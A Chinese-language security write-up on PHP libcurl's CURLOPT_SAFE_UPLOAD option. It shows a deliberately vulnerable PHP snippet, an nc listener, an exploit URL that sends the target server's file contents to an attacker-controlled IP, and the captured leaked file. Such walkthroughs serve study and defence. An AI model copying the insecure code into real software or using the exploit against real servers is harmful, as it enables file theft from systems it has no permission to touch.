PHP libcurl 安全之 CURLOPT_SAFE_UPLOAD

时间:2025-03-28 07:44:00

概要

TRUE为禁用 @ 前缀在 CURLOPT_POSTFIELDS 中发送文件。
FALSE为启用,@开头的value会被当做文件上传。

PHP 5.5.0 中添加,默认值 FALSE。
PHP 5.6.0 改默认值为 TRUE。
PHP 7 删除了此选项。

影响:CURLOPT_SAFE_UPLOAD选项配置不当结合其他情况可造成任意文件读取。

复现

复现使用的PHP版本:5.6.38

假设有这么一段代码:

www.***.com/

<?php
$url = $_GET['url'];
$username = isset($_GET['username'])?$_GET['username']:"admin";
$data = array(
    "username"=> $username
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,CURLOPT_SAFE_UPLOAD,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
$res = curl_exec($ch);
echo $res;

然后服务器nc监听一个端口用来接收请求:nc -lvp 1221

通过浏览器访问:
http://www.***.com/?url=http://服务器IP:1221/&username=@

然后服务器接收到文件上传请求:

root@0x00:~# nc -lvp 1221
listening on [any] 1221 ...

36.102.228.115: inverse host lookup failed: Unknown host
connect to [服务器IP] from (UNKNOWN) [36.102.228.115] 37767
POST / HTTP/1.1
Host: 服务器IP:1221
Accept: */*
Content-Length: 557
Content-Type: multipart/form-data; boundary=------------------------d73a99cc8f366fdb

--------------------------d73a99cc8f366fdb
Content-Disposition: form-data; name="username"; filename=""
Content-Type: application/octet-stream

<?php
$url = $_GET['url'];
$username = isset($_GET['username'])?$_GET['username']:"admin";
$data = array(
    "username"=> $username
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,CURLOPT_SAFE_UPLOAD,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
$res = curl_exec($ch);
echo $res;
--------------------------d73a99cc8f366fdb--

参考

/manual/zh/
/2017/12/17/PHP%E7%9A%84libcurl%E4%B8%AD%E5%AD%98%E5%9C%A8%E7%9A%84%E4%B8%80%E4%BA%9B%E9%97%AE%E9%A2%98/